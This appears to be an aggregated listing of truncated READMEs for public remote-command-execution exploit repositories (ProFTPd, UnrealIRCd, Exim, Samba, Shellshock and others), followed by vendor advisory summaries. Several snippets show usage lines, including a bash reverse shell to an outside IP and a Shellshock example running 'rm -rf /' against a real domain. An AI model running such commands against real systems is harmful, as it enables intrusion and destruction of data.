ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution CVE-2015-3306 취약점을 이용하여 ProFTP 1.3.5 서비스의 취약점을 익스플로잇하는 스크립트입니다. 사용법 .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075에 대한 익스플로잇. 이 익스플로잇은 UnrealIRCd 3.2.8.1에서 원격 명령 실행을 가능하게 합니다. 요구 사항 optparse, signal 사용법 실행할 명령을 보낼 수 있지만, 응답하지 않는 경우가 있습니다. 그럴 때는 간단히 리버스 셸을 보내고 도착을 기다리면 됩니다. python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"' Creating...

CVE-2022-0944

CVE-2022-0944 SQLPad - テンプレートインジェクション これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。 エクスプロイト 次のコマンドでスクリプトを使用してください： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 出力 Login was successfull Exploited! テスト環境 Dockerを使用する場合： dockerコンテナを起動 -...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim バージョン 4.87 から 4.91（含む）に欠陥が見つかりました。 /src/deliver.c 内の delivermessage 関数における受信者アドレスの不適切な検証により、リモートでのコマンド実行につながる可能性があります。 例 nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

PIL-CVE-2017-8291

Python PIL/Pillow Remote Command Execution GhostButt / CVE-2017-8291 中文版本Chinese version Python PIL Pillow는 Python에서 널리 사용되는 이미지 처리 라이브러리입니다. 다양한 이미지 포맷을 지원하며 강력한 이미지 조작 기능을 제공합니다. Python 이미지 처리 모듈 PIL Pillow은 GhostButt 취약점CVE-2017-8291의 영향을 받습니다. 이는 내부적으로 EPS 이미지를 처리하기 위해 GhostScript를 호출하기 때문입니다...

CVE-2020-10199_POC-EXP

影响版本 + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version + + EXP: python3 cve-2020-10199cmd.py http://127.0.0.1:8081 admin admin...

CVE-2007-2447

CVE-2007-2447 PoC: Samba "usermap script" 원격 명령 실행 과거 CVE. 이 저장소에는 연구 및 교육적 검토를 위한 소규모 개념 증명PoC 스크립트가 포함되어 있습니다. 주요 스크립트는 usermapscriptCommandExecution.py입니다. 참고 자료: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 사용법 저장소를 클론하고 통제된 실습 환경에서 스크립트를 실행하세요. PoC는 선택적으로 LHOST:LPORT로의 리버스 셸...

SyncShield

🔐 SyncShield — CVE-2018-5764 탐지를 위한 브라우저 확장 프로그램 안전하지 않은 Rsync 명령이 익스플로잇이 되기 전에 탐지하세요 Final Year Project NWS/129/23B 의 일환으로 개발된 가볍고 개인정보 보호 중심의 브라우저 확장 프로그램으로, Rsync 명령에서 누락된 --protect-args 플래그를 탐지하여 CVE-2018-5764 를 통한 원격 명령 실행을 방지합니다. ✅ 완전히 오프라인에서 작동 ✅ 서버 연결 또는 데이터 수집 없음 ✅ 실시간 스캔 및 알림 ✅ 교육 및 완화 ...

ShockZaum-CVE-2014-6271

CVE-2014-6271 셸쇼크 취약점 공격 스크립트 ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

CVE-2022-30525

CVE-2022-30525 Zyxel 방화벽 원격 명령 주입 취약점CVE-2022-30525 일괄 탐지 스크립트 스크립트는 테스트 기능만 제공하며 실제 공격 요청을 포함하지 않고 보안 탐지에만 사용됩니다. 스크립트를 이용한 불법 테스트 행위는 작성자와 무관합니다...

pythonprojects-CVE-2018-10933

pythonprojects-CVE-2018-10933 CVE-2018-10933 이 스크립트는 CVE-2018-10933 취약점을 악용합니다 Linux에서 동작. 이 스크립트를 실행하려면 paramiko 파이썬 모듈이 필요합니다. 아래 명령어를 사용하여 paramiko를 설치해 주세요. pip install paramiko paramiko가 설치되면, 스크립트를 다음과 같이 실행할 수 있습니다: python CVE-2018-10933.py 대상 IP/호스트명 대상 포트 명령어 참고: 제 작업이 마음에 드신다면 커피 한 잔...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 익스플로잇 OpenEMR --debug exploit.rb -h | --help Options: 루트 URL 기본 경로. HTTP 스킴, 포트 및 루트 폴더 포함 업로드할 셸의 파일명 관리자의 사용자명 관리자의 비밀번호 --debug 인수 표시 -h, --help 이 화면 표시 Examples: exploit.rb exploit http://example.org/openemr shell.php admin pass exploit.rb exploit...

CVE-2018-17431-Comodo

CVE-2018-17431-PoC CVE-2018-17431에 대한 개념 증명 익스플로잇 제목: Comodo Firewall & Central Manager UTM 2.7.0 및 1.5.0 이전 모든 릴리스의 원격 명령 실행 웹 셸 기반 익스플로잇 작성자: Milad Fadavvi 공급업체 홈페이지: https://www.comodo.com/ 소프트웨어 링크: https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276 버전: 2.7.0 및...

GitLab-CVE-2021-22205-

취약점 영향 GitLab CE/EE 11.9부터 모든 버전에 영향을 주는 문제가 발견되었습니다. GitLab이 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 영향을 받는 버전 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 취약점 영향 곧... 참고 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205...

CVE-2025-55182-GUI

CVE-2025-55182 취약점 탐지 및 활용 도구GUI 버전 프로젝트 소개 본 프로젝트는 CVE-2025-55182 고위험 취약점을 대상으로 한 시각화 탐지 및 활용 도구로, Python + tkinter 기반의 완전한 그래픽 조작 인터페이스를 제공하여 복잡한 명령줄 조작 없이도 사용 편의성과 실용성을 겸비했습니다. CVE-2025-55182 취약점은 React Server ComponentsRSC 생태계의 Next.js 프레임워크에 존재하며, 공격자는 악의적인 multipart/form-data 요청을 구성하여 원격 명령...

CentOS Linux 6 [TuxCare] Security Update: libsmbclient / libsmbclient-devel / samba / samba-client / etc (CENTOS6:CLSA-2026:1781627407)

The CentOS Linux 6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS6:CLSA-2026:1781627407 advisory. - A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use the...

AlmaLinux 9.2 [TuxCare] Security Update: pcp / pcp-conf / pcp-devel / pcp-doc / pcp-export-pcp2elasticsearch / etc (ALMALINUX9.2:CLSA-2025:1764080949)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1764080949 advisory. - A flaw was found in PCP. The default pmproxy configuration exposes the Redis server backend to the local network, allowing remote command...

Rocky Linux 8 [CIQ] Security Update: cups-filters / cups-filters-debuginfo / cups-filters-debugsource / etc Multiple Vulnerabilities (crlsa-2024_7463)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20247463 advisory. cups-browsed: cups-browsed binds on UDP INADDRANY:631 trusting any packet from any source cups-filters: libcupsfilters: cfGetPrinterAttributes API does not...

CentOS Linux 8.5 [TuxCare] Security Update: ctdb / libsmbclient / libsmbclient-devel / libwbclient / etc (CENTOS8.5:CLSA-2026:1781186905)

The CentOS Linux 8.5 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS8.5:CLSA-2026:1781186905 advisory. - A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use t...

Rocky Linux 8 [CIQ] Security Update: pcp / pcp-conf / pcp-debuginfo / pcp-debugsource / pcp-devel / etc (crlsa-2024_3264)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20243264 advisory. pcp: exposure of the redis server backend allows remote command execution via pmproxy CVE-2024-3019 Tenable has extracted the preceding description block directly...